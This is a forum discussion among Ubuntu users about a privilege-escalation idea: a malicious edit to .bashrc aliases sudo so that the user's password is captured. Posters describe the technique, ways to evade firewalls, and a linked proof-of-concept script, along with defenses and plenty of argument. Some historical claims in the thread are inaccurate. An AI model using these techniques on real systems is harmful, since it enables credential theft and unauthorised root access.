Why not. Evidence is that more than 50% of users here are brain dead.

Very poor show and very bad form!!

This community forum is here to help Ubuntu users!!! Many folks on here, myself included, have much better things to do with our time and could be spending it with out families but instead we choose to devote some of it to helping people that know less than us use Ubuntu, *nix services and help promote Ubuntu as an alternative to the Windows desktop. There will always be someone who knows less than you -- there is absolutely no reason for you to call them "brain dead". Let's not forget, that at one point, you too were a new Linux user and by your definition "brain dead" and someone went out of their way to help you!!!

[RoyalShrubber]

No; actually there is one point that needs to be made clearer. How are you going to modify their firewall privilages to allow your connection from the outside? Keep in mind remote SSH is disabled by default and most broadband routers in use today block SSH by default. Any company is definatly going to block SSH from the outside. I could go on all day...

So there you see your plan relies on being able to make a connection via SSH to the box your have the root password for. But in any serious organization you will have to pass multiple checks along the way to that machine. Firewall, HIPS or maybe even some sort of edge filter.

So what this does is limits you to only the computers that you can SSH to.

Not really. You see in broken computer you don't need any ssh. You can communicate and execute commands remotely through raw sockets. As I read that's common practice. Also connection can be established on victims side to the port 80 on hacker's server - here hardware firewalls cannot help you. :)

[nutz]

Not really. You see in broken computer you don't need any ssh. You can communicate and execute commands remotely through raw sockets. As I read that's common practice. Also connection can be established on victims side to the port 80 on hacker's server - here hardware firewalls cannot help you. :)

I am not talking about some $19.95 peice of crap firewall here. I am talking about the real deal like a major company would use. These firewalls not only block raw sockets but they also monitor and alert on them in some cases when they are called on. But even if you did get past the firewall chances are you would hit a proxy before you got to the machine anyway and it sure as hell isn't going to let you open a raw socket. Remember that port 80 is the most watched port of all...

All I am trying to say here is that you still need a clear network path to the target system. Many other security systems would have to fail before you would have a situation where this exploit could be used. Like I said; show us a working example of this exploit and I will change my evaluation of it. But until actual exploit code exists that we can test and verify the expliot with this is at an end.

The theory has been stated and explained. Now prove that it works so people will take it seriously.

[rickyjones]

So, lets see if I understand this correctly...

The issue at hand is that the .bashrc file is writable by the user it belongs to. Now, if the user visits a malicious website or runs a malicious script or if a hacker has physical access to the PC then the .bashrc file can be modified to add an alias so that when the user (assuming he/she is able to sudo) runs sudo it passes their password to a fake program which transmits the password to an original attacker.

Correct?

If so, then I do see where this could be a negligible security concern. Of course it relies on the following: 1) The user has to be using sudo from the command line. 2) There must already be a security hole in their web browser. 3) The user must physically leave their computer unlocked with the attacker in the same room. 4) The user needs to run a script that someone sends them.

It could probably be solved by having some sort of unlock mechanism for the .bashrc file - much like there is a lock on the sudoers file (i.e., normally to edit it it is preferred that you run visudo as root). This would prevent a malicious script from editing it while at the same time not inhibit the user - instead of calling support the user will just need to run the program "vibashrc" or something similar.

Am I understanding this correctly?

Thanks,

-Richard

[nutz]

here you go: https://bugs.launchpad.net/ubuntu/+bug/127116


You really should have proof read that better before submitting it. Not only does it contain a ton of spelling and grammar errors but it isn't worded in a way that explains it very clearly.

But either way I will keep a close eye on it! My favorite post from there is this one...

(QUOTE)Adna rim said 46 minutes ago: (permalink)
Hi Kees Cook, have you read the forum post and not only hggdh's statement? Then you would have read what I wrote about exploiting alias and why this is many times harder and about "other tricks": What do you mean with that and please stop talking about userlvl trojans or keylogger because as I pointed very clearly out int the forum it's not possible to steal root-pwd with them. No userlvl keylogger can sniff the sudo password!

And just because other distros have the same bug, doesn't mean it is good, does it?

And also this stupid example with physical access...I'm really sick that I even mentioned it but never thought people would understand it so mindless....

The point is that with this bug, tell me any!! reason why someone shouldn't work as root the whole time like windows users do? Please any reason because with this bug there's no difference. A virus can use this and become as harmfull as any windows one. A hacker can exploit a userlvl application and get root without any need of a local root exploit. Really with this bug you don't have to tell people not to work as root because there's no frontier between root and user account.

But I'm outta here, if even the ubuntu staff doesn't care why should I, but dare you to tell you haven't been warned because I know for exaclty that this is activly being abused to root linux boxes! I didn't pulled that out of my magical hat...(QUOTE)

If you know for a fact that this exploit is being used then please do give us an example. That is what it is going to take for this to be treated as anything more than a theory. We need a working example of this exploit...

[RoyalShrubber]

So, lets see if I understand this correctly...

...

3) The user must physically leave their computer unlocked with the attacker in the same room. 4) The user needs to run a script that someone sends them.


Hacker can attack you remotely (he/she does not have to be in the same room) and user does not need to execute any script that was previously sent by hacker. All user has to do once configuration file gets corrupted is to run 'sudo <one of his apps>' which will eventually happen.

Also by remotely I meand you visit 'warez' site and firefox generate overflow or hacker sends you document file (which is not executable or script) that will overflow application that opens that particular document.

[RoyalShrubber]

The point is that with this bug, tell me any!! reason why someone shouldn't work as root the whole time like windows users do? Please any reason because with this bug there's no difference. A virus can use this and become as harmfull as any windows one. A hacker can exploit a userlvl application and get root without any need of a local root exploit. Really with this bug you don't have to tell people not to work as root because there's no frontier between root and user account.

Finally we are getting here. Hallelujah.

[nutz]

Finally we are getting here. Hallelujah.

Hey; I didn't post that!

Please correct your post or I will have to have an admin do it for you. You have quotes labeled with my user name around text that did not come from me...

Please correct this ASAP or it will be considered intentional and result in a possible ban from the site.

[RoyalShrubber]

I am not talking about some $19.95 peice of crap firewall here. I am talking about the real deal like a major company would use. These firewalls not only block raw sockets but they also monitor and alert on them in some cases when they are called on. But even if you did get past the firewall chances are you would hit a proxy before you got to the machine anyway and it sure as hell isn't going to let you open a raw socket. Remember that port 80 is the most watched port of all...


You sure separated hardware firewall/nat/proxy/whatever device can detect that port 80 is being used by application other than (uncompromised) firefox (or other web browser)? That would be something new to me. :)

[nutz]

You sure separated hardware firewall/nat/proxy/whatever device can detect that port 80 is being used by application other than (uncompromised) firefox (or other web browser)? That would be something new to me. :)


There are a lot of things out there that would be new to you. Don't ever make the mistake of thinking you know everything about anything. Because just when you do you will cross paths with someone who knows more...

It may be new to you because you probably don't specialize in administering these types of systems. And you misunderstood what I said...

Raw sockets are generally blocked to any application from an outside IP. This is one of the very basics of network security because there is no legitimate reason to leave them open.

SP2 for XP also makes changes to the TCP/IP stack and blocks this kind of traffic because it is generally agreed in the industry that it has no legitimate use. Same reason they blocked it in Vista...

And please fix your post above. That quote is not from me and you have it labeled as if it was. I am sure it is just a mistake but I would really appreciate it if you would correct it so we don’t have to have an admin do it. They might think you are a troll and ban you and we certainly don't want that to happen do we?

[scxtt]

i think it's painfully obvious this is a "bug" w/ programs totally independent of bash/.bashrc and sudo ... if for this to happen, a completely unrelated program has to have a massive hiccup - it is a "bug" of that program - not bash/.bashrc and sudo ... and these types of "bugs" are patched all the time by those 3rd-party app suppliers ...

the premise of this whole thread is laughable, because as i said, bash (1978) and sudo (1980) have been around for decades and if there were so many 3rd-party "bugs", we'd see multiple examples of what you've proposed --- fact of the matter is, we haven't ...

and this "hack"/"bug" could easily be erradicated by running unalias sudo if for some reason you left your login unattended ...

also, "easily" should be removed from the thread title - i've seen no evidence that this would be "easy" ...

[hggdh]

Just a quick one.

Please look at the LP bug (https://bugs.beta.launchpad.net/ubuntu/+bug/127116). The bug has been closed invalid.

This is not a bug. This is a result of some real bad user/sysadmin decisions.

Just fo rthe record, if your sudo implementation requires you to provide the real root password to access root (like in 'sudo su -'), then you should revisit NOW said implementation.

On standard Ubuntu this attack -- which is possible, no question about it -- would, again on the standard Ubuntu install, get you the USER password.

Also, there are attack vectors simpler that this one, and also exploring a 'fakesudo'. Technically, a fake sudo would be seen as a trojan: a programme that masquerades as something and does a bit more than expected.

For you to be hit by something like it you would need to:

1. leave a logged-in machine available. Solution: always either logout or lock when leaving the computer.
2. install unknown/untrusted programmes or products.Solution: do not.
3. hit a malicious web site. Solution: Be very careful where you go. Disable Javascript. Disable Java. Pray.

Security is a collection of measures, and each measure should be considered in regards to the implementation cost vs. the impact cost -- how much does it cost (monetarily and otherwise) to protect against this risk, versus what is the cost of such an attack actually happening.

Also, you you are really worried about this (and other attacks), consider running SELinux, or apparmour.

[darkog]

You sure separated hardware firewall/nat/proxy/whatever device can detect that port 80 is being used by application other than (uncompromised) firefox (or other web browser)? That would be something new to me. :)

Deep packet inspection firewalls. (http://www.securityfocus.com/infocus/1716)

):P

[Old Pink]

RoyalShrubber, I think you need to calm down and show some respect. You're not providing a valid argument, you're just stating the same point countless times and hoping for a different response, then getting angry when you get similar replies.

You clearly seem to value system security over honesty, ease of use and practise of common sense, which is fair enough, and such an environment can be created on your personal computer, as you pointed out in your original post, and then again many times throughout this thread.

Thanks for bringing it to our attention, we appreciate your concern, but the majority of people have a different opinion to you, and would prefer to keep an eye out when running suspect script files on hacker sites rather then having to enter a sudo password every three seconds when trying to perform an innocent google search.

[jdong]

This type of phishing attack is an issue on any platform on any login method. It's definitely a phishing problem, we don't need to argue about whether or not this exploit exists. It does

This discussion should either shift towards constructive suggestions on effective fixes/workarounds, or towards some other productive direction.

I don't like the attitude and aggressiveness I am seeing in this thread.

[nutz]

This type of phishing attack is an issue on any platform on any login method. It's definitely a phishing problem, we don't need to argue about whether or not this exploit exists. It does

This discussion should either shift towards constructive suggestions on effective fixes/workarounds, or towards some other productive direction.

I don't like the attitude and aggressiveness I am seeing in this thread.

I don't think there are any issues here; he stated a theory and we provided feedback. I am a little angry that he spoofed a quote to make it look like it came from me but other than that I would shake his or her hand if I ever met them.

We all discussed it and the general consensus came to the conclusion that this might work if the circumstances were just right to allow it but that it was highly unlikely that situation would be available very often in the real world.

Sound like a fair assessment?

[RoyalShrubber]

There are a lot of things out there that would be new to you. Don't ever make the mistake of thinking you know everything about anything. Because just when you do you will cross paths with someone who knows more...

It may be new to you because you probably don't specialize in administering these types of systems. And you misunderstood what I said...

Raw sockets are generally blocked to any application from an outside IP. This is one of the very basics of network security because there is no legitimate reason to leave them open.

SP2 for XP also makes changes to the TCP/IP stack and blocks this kind of traffic because it is generally agreed in the industry that it has no legitimate use. Same reason they blocked it in Vista...

And please fix your post above. That quote is not from me and you have it labeled as if it was. I am sure it is just a mistake but I would really appreciate it if you would correct it so we don’t have to have an admin do it. They might think you are a troll and ban you and we certainly don't want that to happen do we?

Lol, now you made me look like total noob. :) What you are talking about is open ports on victim's side - which is problem if attacker wants to establish connection from his computer - but if victim establish connection from his/her connection it will probably work perfectly.
101 networking - you can imagine virus executable doing the same as firefox - it'll open connection to port 80 and communicate with hacker's server. On hacker's side there could be even real Apache/IIS/Whatever and real PHP communicating with malware on victim's side. Firewall could not distinguish legitimate connection from ff and connection from malware, both on port 80. Also someone suggested 'Deep Packet Inspection Firewall' - I'm not sure it's very (100%) reliable. Here you need outgoing firewall on personal computer that monitors processes - not everybody have it. ;)

[agurk]

Deep packet inspection firewalls. (http://www.securityfocus.com/infocus/1716)

):P

Custom TCP stack. (http://www.mail-archive.com/p2p-hackers@lists.zooko.com/msg00673.html)

Inspect all you want. :)

[DoktorSeven]

There are fears here about a bug in certain software that might arise to create this alias/fakesudo attack. Unfortunately, you fail to realize that such things happen already and patches/etc are done all the time to keep them from happening, and worse, if it does happen, doing something like the alias/fakesudo is the least of your worries, since buffer overflows often allow direct root escalation.

Again, there is nothing new here. Everyone developing around GNU/Linux have been mindful of these concerns longer than Ubuntu has existed. Security is never a guarantee with any OS and any setup; one can only be vigilant and keep your system up to date and not run untrusted executables.

[nutz]

Custom TCP stack. (http://www.mail-archive.com/p2p-hackers@lists.zooko.com/msg00673.html)

Inspect all you want. :)

So you have a link to a page with some guys talking...

Did they develop some real world example to prove it isn't just fantasy talk? Has this method ever been reproduced in the real world and proven to work? What exactly is that page you linked us to?

The claims being made in regard to his programs capabilities seem really far fetched. However if he actually produced a proof of concept that worked I would like to know about it. Maybe even play with it if I can get a copy…

Do you have any more information on this supposed program they have that can do this?

Just for the record the method he describes of stacking one TCP connection on another has been tested many times before and rarely if ever works so long as the firewall is setup properly and monitored. The process of doing this generates a lot of out of band traffic that would also get it noticed at most places. Not to mention it changes the size of the TCP header which most often causes the firewall to drop it altogether. TCP stacking has been a theory for a long time but I have yet to see a working example of it on a properly secured connection. Also note that the last post on that thread is from last year if I am not mistaken. Must not have led to much if it hasn't seen any activity since then...

[agurk]

Just for the record the method he describes of stacking one TCP connection on another has been tested many times before and rarely if ever works so long as the firewall is setup properly and monitored. The process of doing this generates a lot of out of band traffic that would also get it noticed at most places. Not to mention it changes the size of the TCP header which most often causes the firewall to drop it altogether. TCP stacking has been a theory for a long time but I have yet to see a working example of it on a properly secured connection. Also note that the last post on that thread is from last year if I am not mistaken. Must not have led to much if it hasn't seen any activity since then...

Yes, I know what you mean, TCP-over-TCP has historically implied a large bandwidth overhead, this is however a different approach than the traditional. If you're really interested, read the whole thread, all the usual questions are asked and answered: http://www.mail-archive.com/p2p-hackers@lists.zooko.com/mail3.html (scroll down about half the page). As you might notice, there are some quite knowledgeable people participating in the "peer review" as well. There is a product out available at http://www.leafnetworks.net but I haven't tried it myself.

[tuxcantfly]

This is provided that SSH is enabled and open to a public connection that you have access to. Otherwise no dice... Most off the shelf broadband routers that people use in their homes will block this by default also. So you need to find a way to convince them to open/forward that port on their firewall too. Not to mention any major company should be monitoring who tries to SSH to their boxes. Most of them have a set allow list of SSH users and their originating network addresses and if anyone that isn't on the list tries to do it they set off alarms.

SSH is disabled by default on Ubuntu and I don't think all that many users go in and enable it. At any point in time this is an exploit that I would only see working under a very unique set of circumstances where user awareness and systems security is very low. And as such I would rate it as a low threat...

So while I do see how this could be used to compromise system security it just doesn't seem like a very likely route for a malicious user to take. I say this because it requires the user to perform functions on their side in order to complete the exploit and breach security and it also requires a unique set of circumstances that would rarely be found. It also requires the user to not see or overlook certain things that I think the majority would notice and question.

Let's see if one of you guys can put together some code to demonstrate the do-ability of this exploit. Until then I would rate this threat as very low for business users and somewhat low for home users. That is my professional opinion and until we see a working example of the exploit in the wild I would not be too concerned.

You asked for it... here's a quick-n-dirty "evilscript" which sets up the fakesudo alias and apt-get installs openssh-server and starts up sshd quietly (no output), and runs the command the user specified, next time they run sudo, please see my next post for the code itself, it's too long to fit in here:

You can add additional code between the two EOTs that will run as root next time sudo is called, so that way you can unblock some ports, disable firwalls, create a new ssh user, etc. If you need it to be more elaborate just ask me. I also have some ftp-uploading password code that's commented out in the beginning, that can also be used, but the ssh code should do the job to remotely access the machine.

[phrostbyte]

Stop calling the sudo password the "root password". It's not the root password! By default in Ubuntu, THERE IS NO ROOT PASSWORD. You can not log on as root, there is no way to. It's not even a randomly generated password, it doesn't even exist! The password for sudo is exactly the same as the password to log into that user.

RoyalShrubber never even used Ubuntu Linux for more then a few minutes. He knows very little about Unix and pretends he is a genius but please don't believe him. Thank you!

Here is him posting about you guys: http://channel9.msdn.com/ShowPost.aspx?PostID=327193

[nutz]

Yes, I know what you mean, TCP-over-TCP has historically implied a large bandwidth overhead, this is however a different approach than the traditional. If you're really interested, read the whole thread, all the usual questions are asked and answered: http://www.mail-archive.com/p2p-hackers@lists.zooko.com/mail3.html (scroll down about half the page). As you might notice, there are some quite knowledgeable people participating in the "peer review" as well. There is a product out available at http://www.leafnetworks.net but I haven't tried it myself.

I will keep an eye on it for sure. Thanks!

[cprofitt]

Adnarim :

I believe that what we're arriving at here, in a roundabout way, is the whole "sudo vs. root" argument, correct? The problem here isn't so much the .bashrc file, nor it's use of aliases, but the fact that a regular user can escalate privileges within their current session. I think the important thing to take away from this discussion is this:

As long as you don't give anyone else the opportunity to access your workstation while you're logged in, protect your password, and don't install or run software from untrusted sources, this attack can't be implemented.

Correct?

I have not read the entire thread... but yes that is true..

The issue that I think he is concerned with is that non-intelligent users would assume something safe (one of the arguments with Vista's UAC that is leveled). If a user can be faked out in to thinking they are sudoing but their keystrokes are being stolen then the attacker would have the ability to login as the user and then sudo.

[tuxcantfly]

Stop calling the sudo password the "root password". It's not the root password! By default in Ubuntu, THERE IS NO ROOT PASSWORD. You can not log on as root, there is no way to. It's not even a randomly generated password, it doesn't even exist! The password for sudo is exactly the same as the password to log into that user.

You're correct there, it's technically not the root password, but since the first user added by Ubuntu (therefore probably the one people are using, since most average joes don't bother too much about extra security and don't bother adding non-sudo users) has sudoer privs, and so their password, in essence, grants root priveledges through sudo, so having that password has essentially the same effect as having the (nonexistant on ubuntu) root password. Anyhow does anybody have anything to comment about the proof-of-concept ssh-via-fakesudo code I posted a few posts up at (explanation) http://ubuntuforums.org/showpost.php?p=3054124&postcount=150 and (the code itself) http://ubuntuforums.org/showpost.php?p=3054126&postcount=151?

[nutz]

You asked for it... here's a quick-n-dirty "evilscript" which sets up the fakesudo alias and apt-get installs openssh-server and starts up sshd quietly (no output), and runs the command the user specified, next time they run sudo, please see my next post for the code itself, it's too long to fit in here:

You can add additional code between the two EOTs that will run as root next time sudo is called, so that way you can unblock some ports, disable firwalls, create a new ssh user, etc. If you need it to be more elaborate just ask me. I also have some ftp-uploading password code that's commented out in the beginning, that can also be used, but the ssh code should do the job to remotely access the machine.

I checked out the code you provided and it confirms exactly what I first said. This could work! But it still doesn't address the biggest variable of all.

How you are going to get that information into the bashrc file from remote?

Because as we already discussed if you have physical access to the system then many layers of security break down. Every security professional knows his biggest threat is his own users. But if you use this as an exploit from remote and thwart whatever security systems that stand in your way on the network then we have something to really be concerned about.

What we are doing is looking at the whole scheme to see just how plausible it really is. Along the way we can demonstrate that certain things are possible like getting information by editing the bashrc file. But that has no impact if you can not get to the bashrc file.

So I guess I should have been clearer but what I was asking for was an actual example of someone getting privileged password from remote using this vulnerability within the bashrc file. Not someone doing a part of it or creating some code but actually pulling it off and making the whole thing work so you result in having that password from remote.

[tuxcantfly]

How you are going to get that information into the bashrc file from remote?

That's a different issue than I was addressing. In itself, you are correct, unless there is some kind of user-level access, via a malicious script or some other user-level hack, or physical access to a machine, there's nothing to be concerned about.

However, the point I'm getting at, is that this basically renders "sudo" on ubuntu useless. The entire point of sudo is to restrict the damage that can be done if there is some security breach, or a user accident, to just the files they themselves have permissions to modify, and not those owned by root.

This, however, allows for someone who has user-level, not root access, to essentially be able to execute any code they want, as root, by embedding it within the script, without knowing the password of the sudoer. That, in my opinion, is a major issue, as it allows for a small, (other preexisting) security breach, which only has access to the user-owned files, to turn into a far worse breach, in which, through sudo, anything on the system can be done with root privs, just by writing it into the malicious script.

So, in and of itself, this exploit is harmless. When paired with another minor, user-level exploit, however, this can turn into a real problem, with root access to the hacker. That's why I think that setting .bashrc, .cshrc, and the other shell rc files to only be editable with root privs is a good security measure, in case anything like this happens.

[nutz]

That's a different issue than I was addressing. In itself, you are correct, unless there is some kind of user-level access, via a malicious script or some other user-level hack, there's nothing to be concerned about.

However, the point I'm getting at, is that this basically renders "sudo" on ubuntu useless. The entire point of sudo is to restrict the damage that can be done if there is some security breach, or a use accident, to just the files they themselves have permissions to modify, and not those owned by root.

This, however, allows for someone who has user-level, not root access, to essentially be able to execute any code they want, as root, by embedding it within the script, without knowing the password of the sudoer. That, in my opinion, is a major issue, as it allows for a small security breach, which only has access to the user-owned files, to turn into a far worse breach, in which, through sudo, anything on the system can be done with root privs, just by writing it into the malicious script.

I agree.

The privilage level of the user whos password you get by this method would be available for whatever. Like a script or virus...

[jdong]

Please do not post proof of concept exploits. It is inappropriate material for UbuntuForums.

[cprofitt]

wow....

just read all of this... and have a few questions.

What would making the .bashrc file read-only affect?

[nutz]

wow....

just read all of this... and have a few questions.

What would making the .bashrc file read-only affect?

It is very dangerous; some would consider it suicidal.

Last guy that tried it had his hard disk come apart and send shrapnel into his cranium. Some have had their CPU's develop temperatures hotter than the sun which instantly turned everything in 200ft to ash and water vapor.

[darkog]

It is very dangerous; some would consider it suicidal.

Last guy that tried it had his hard disk come apart and send shrapnel into his cranium. Some have had their CPU's develop temperatures hotter than the sun which instantly turned everything in 200ft to ash and water vapor.

okay. that's pretty funny.:lolflag:

[jdong]

What good does making bashrc read only do? A program can still be smart enough to chmod it read-write again, unless someone else owns it. Not to mention there's .profile, .login, .bash_profile, .bashrc, and several other locations that files can be sourced in... and then count other shells too....

Essentially this is a case where you need to stop the attack vector from getting onto the system. Securing userspace apps from command execution escalations, educating users to NOT run scripts or programs from untrusted sources (including build scripts) -- or investigating such things under a separate user account, etc.

These kinds of social engineering attacks are as old as time...

[nutz]

okay. that's pretty funny.:lolflag:

:)

[DaveAK]

But may I remind you that the danger of the issue you are talking about is relatively small, if the user is 'dumb' enough to install software from any kind of source (untrusted, unverified, evil, malicious sources)?
Ever heard of a Windows user switching to Ubuntu? :D

[DaveAK]

There's no magic newly found "security hole" here, just yet another example of how users need to not mess around with untrusted scripts and executables.
But isn't this a backward way of looking at security?

If users will do things they're not supposed to, (and they will and it's usually out of ignorance), don't you have to work at locking down potential exploits such as this? Shouldn't the role of security be to protect the system from the naive user? Even if this exploit is minor in comparisons to others, shouldn't it still be closed?

[nutz]

But isn't this a backward way of looking at security?

If users will do things they're not supposed to, (and they will and it's usually out of ignorance), don't you have to work at locking down potential exploits such as this? Shouldn't the role of security be to protect the system from the naive user? Even if this exploit is minor in comparisons to others, shouldn't it still be closed?

This is a vulnerability; not an exploit. :) The exploit would be the means by which they use the vulnerability to compromise system security. The exploit would be the setting of conditions or actual malicious sudo replacement or both.

[DaveAK]

My 'normal' user account cannot use sudo.
This is with FF 7.04 server.
My default user account in 7.04 desktop can use sudo. As I've just installed it, as like many other newbies, the system is open to this exploit, as I understand it. My only saving grace is that I'm not a happy go lucky, point and clicker who just can't resist opening emails from unknown sources and following the links.

However, I am reading with interest how others have their accounts set up, but the problem is that most new users will be unaware unless they specifically take the time to research this kind of topic. Most, if not all, people, (myself currently excluded), have their systems tightly secured by one means or another, my interest is in those that don't know better. How do we better protect them, (and me)?

[DaveAK]

This is a vulnerability; not an exploit. :) The exploit would be the means by which they use the vulnerability to compromise system security. The exploit would be the setting of conditions or actual malicious sudo replacement or both.
OK, point taken. :) So an exploit could be launched to attack the vulnerability of .bashrc. Have I got that right? :)

If .bashrc wasn't so vulnerable then an exploit would be much more difficult to initiate, wouldn't it?

Does anyone dispute the assertion from the OP that .bashrc can be modified by an unwitting default user, (currently with sudo capability as installed by FF7.04), unknowingly running a malicious script, in the manner of aliasing the sudo command? (Forgive any inaccuracies in terminology.) :)

I know that there's a dispute on the likelihood and possible consequences of such an event occurring, but is anyone denying its possibility?

[DoktorSeven]

Again, it's very possible that it can happen. There is no denying that given a malicious script or executable, that it can work all sort of voodoo even beyond simply altering .bashrc. This is true with any OS, any system, anything.

This is why the burden is on the user to prevent such things. This is why users need to be educated about how computers work before they use them. Computers are complex things, not like televisions or toasters, no mater how much people who wish for "ease of use OSes and computer systems" want it to be true.

There is no vulnerability, security hole, or anything of the sort here. None. This discussion keeps going off in that direction, almost wanting there to be one for some reason, but there is none. Scripts and executables have to be set executable before they run, and users should not run untrusted scripts and executables. This is the simple truth, and if you are under some illusion that we can prevent users from doing dumb things, then I am sorry to inform you that it is simply impossible without locking the system down so much that a user can't do anything.

If you are entrusted with the keys to your machine (in Ubuntu's case, sudo access to root), then you have the responsibility to be cautious. If you don't want someone having such responsibility, don't allow them to use sudo. It's that simple.

[DaveAK]

This is not a bug. This is a result of some real bad user/sysadmin decisions.

Just fo rthe record, if your sudo implementation requires you to provide the real root password to access root (like in 'sudo su -'), then you should revisit NOW said implementation.

On standard Ubuntu this attack -- which is possible, no question about it -- would, again on the standard Ubuntu install, get you the USER password.
OK, for my very limited understanding as of the moment, while you may not term it a bug, and I'm not disagreeing with that, these user/sysadmin decisions are the default ones when you do a fresh install of Ubuntu. And so without further knowledge or research your uniformed user has left this particular vulnerability, (however dangerous or not), open through no fault of his own, (other than his current lack of knowledge).

Also on a standard Ubuntu install, 'sudo su' only requires the user password to gain root privileges. Or am I mistaken? (I've entered that command myself and seem to be logged on as root.)

[DaveAK]

If you don't want someone having such responsibility, don't allow them to use sudo. It's that simple.
I'd agree with this. So why is the default user given sudo privileges? Why not have them set up a normal user, AND an "only use when you really need" to sudo user. That way most of the time they'll log in with their first account that they've cunningly called "dave", and not the secondary account they had to create, (under warning of it's powers), that they even more cleverly called "superdave".

So getting back to the whole point of this discussion, would it be fairer to describe the problem not one of .bashrc being editable by the user, but by the nature of the default setup of FF7.04 "out of the box"?

ETA: I originally installed 6.10 on my laptop, which used GParted to create the partitions, (if I remember correctly), in such a way that was not simply "click this button". I had to actually think about what I was doing. This is not the case with 7.04, and I really don't know how my system is setup and I don't like that at all. And that's a big part of why I'm reading these kinds of threads. I fully expect to completely redo my installation based on what I've learned. I never really used 6.10 much, so never bothered to learn what I needed to. Now I'm going solely Ubuntu on my desktop, (besides an XP VM for my poker apps. :) ), so I need to know more.

[scxtt]

i think the only thing that could, or "should" (loosely using that term) be done is for sudo to not allow itself to be aliased - maybe it could be hard-coded in for sudo to always preface itself w/ unalias sudo - of course, if i was uber-paranoid about this laughable issue, i could just do that myself ...

[DoktorSeven]

So getting back to the whole point of this discussion, would it be fairer to describe the problem not one of .bashrc being editable by the user, but by the nature of the default setup of FF7.04 "out of the box"?

No. There are no configuration issues here.

Why not have them set up a normal user, AND an "only use when you really need" to sudo user.

This is the normal behavior of Linux, using su to switch to root. Problem is, you can alias su the same as you can alias sudo. And you can also set up a "restricted" user as well that doesn't have access to sudo that you can switch to.

If you really want to attack the issue, you could alter the alias command to not allow aliasing of any privilege-escalation commands like su, sudo, gksudo, etc. That would be the only real "resolution" of this non-issue I could really see that might satisfy those worried that something like this could happen to them.

[darrenm]

Just to clarify again.

Another vulnerability with other software on the machine that is severe enough to allow remote code execution needs to be present on the system.

If that happens there are lots of things a scumbag could do, with chmodding the .bashrc to get the user password being low on their list of priorities.

But assuming they did upload some code and manage to make it executable which then edited the .bashrc to alias sudo to some code that captured the user password then the remote attacker only has the user password. Essentially useless unless SSH is running on the machine or the attacker knows extra information about the user and the password is the same one used for online banking/ebay etc.

All of this is rooted in good security practices. Do your security updates, don't run untrusted applications and use different passwords for important stuff. Experts have been saying this for years.

Just because a couple of people in this thread start using *nix and think they are l33t they automatically think that no-one else could have thought of this before.

[agurk]

Hmm, I wouldn't call this a non-issue. Having a default setup where privilege escalation is trivial, is a vulnerability, IMO. I bet there are lots of Ubuntu users out there who think along the lines of "should I ever get a virus, it'll be confined to my home directory and can't do much harm". This is, as we have discussed now for some time, not necessarily the case.

The proper way to deal with this, I would think, would be to add a normal user account, to be used for everything except administrative tasks, such as configuration and installation of programs and updates. Such a user wouldn't be able to use su, gksu, sudo or the likes.

[Adnarim]

I didn't want to answer here again, because it was said it isn't a bug but I was told from admins if I show any more poc about this vuln I will be banned from the forums!

And next to the fact that here are obvious just linux users and this is no topic a user can understand. If you wrote any linux rkit your self or even just a vx you are very welcome to talk to me but mere useres are not the people having a sense of security..

but allow me one last question: why has this been fixed: http://ubuntuforums.org/showthread.php?t=143334 ?

Doesn't this threat need the same things like mine here to get abused? Physical or remote access through userlvl app-exploitation?

[darrenm]

But thats an easily fixable bug. What you're talking about is default behaviour that is the best compromise all around. You obviously think you're better than everyone else so why bother even posting?

[Adnarim]

But thats an easily fixable bug. What you're talking about is default behaviour that is the best compromise all around.
So the complexity of a case makes it to a bug or not ????

You obviously think you're better than everyone else so why bother even posting? If you mean with better, that I know in contrast to most people here that this is a real threat and is used in the wild, yes I am better.

[nutz]

OK, point taken. :) So an exploit could be launched to attack the vulnerability of .bashrc. Have I got that right? :)

Yup!

[bigboy_pdb]

I think that Adnarim initially overreacted, but I don't think that Adnarim or RoyalShrubber are trying to indicate that Ubuntu is some incredibly insecure OS. I think that a number of people who have responded are also overreacting.

The main problem that is common between the scenarios that were mentioned is if a person types his/her password within the Gnome/KDE/X terminal (tty7) then it can be recorded from a non-root account in order to gain root access. Two ways that were mentioned this could be done was by either using an alias for sudo in the .bashrc file or by using a keylogger that has either been (unintentionally) run by the user or as a result of a buffer overflow. There could also be other methods that we haven't mentioned.

A number of you are arguing that this is a menial problem that is not likely to occur when a person knows what he/she is doing, but are you telling me that there's no conceivable circumstance where a person might do this (such as having a deadline and the person compiles and runs a program as a non-root user without being positive that there's no keylogger)?

If you can fix the problem then why would you refuse to have a more secure and flexible system? However, the .bashrc file and other such files can be edited by their owner because their contents are meant to be used by the owner of the files when run with their corresponding programs and that should not be changed (because it removes a useful, important, and flexible feature).

gksudo doesn't allow other programs to grab screen shots, mouse clicks, and keystrokes. You can use gksudo in the following manner:
gksudo 'programName programParameters'
(You'll need to use quotes around the program name and arguments when passing it to gksudo)

You can also work around this problem by using the following method:
Press alt-F2. In the run application window type "gksudo gnome-terminal". You can enter your password using gksudo and a root user terminal session will open.


The following method wouldn't protect you against someone editing your .bashrc file because tty1, tty2, tty3, tty4, tty5, and tty6 use it when you login to them as well. (Sorry I should have checked this before I posted)

I also think that the following method might work. I am assuming that there's no way to record keystrokes from within tty1, tty2, tty3, tty4, tty5, or tty6 without installing a program as root. Please correct me if I'm wrong about this.
Use tty1, tty2, tty3, tty4, tty5, or tty6 which are command line terminals. To switch to one of these terminals use CTRL-ALT-N where N is the number (between 1 and 6) of the terminal that you want. To get back to the Gnome terminal press CTRL-ALT-F7. Perform whatever tasks that you need to do using sudo within the command line terminal and then switch back to the Gnome terminal.


The problem with gksudo is that it allows commands to be run as root for a period of time, which is still unsafe and can be more unsafe than using sudo because with sudo only the terminal has root access. The problem with using other terminals is that you cannot access anything from the Gnome/KDE/X terminal (tty7) without switching back to it and you cannot access the clipboard (which can be major or minor inconveniences depending on what you're doing).

There are a few ways then to get around the gksudo problem:
1) Don't use it or have an account where gksudo and sudo are disabled.
2) Have gksudo ask for the password every time root access is needed or, in other words, ask for root access for each procedure that requires it (I'm not certain how to set this up or if it is even possible).
3) Have gksudo grant root privileges to the program when it opens. So basically if gksudo is executed when using one program it doesn't give root access to any other program. For example, if I run gksudo in "Add/Remove..." and then I run "Synaptic Package Manager", "Synaptic Package Manager" will run gksudo again (I don't think there is a way to do this but I could be wrong).

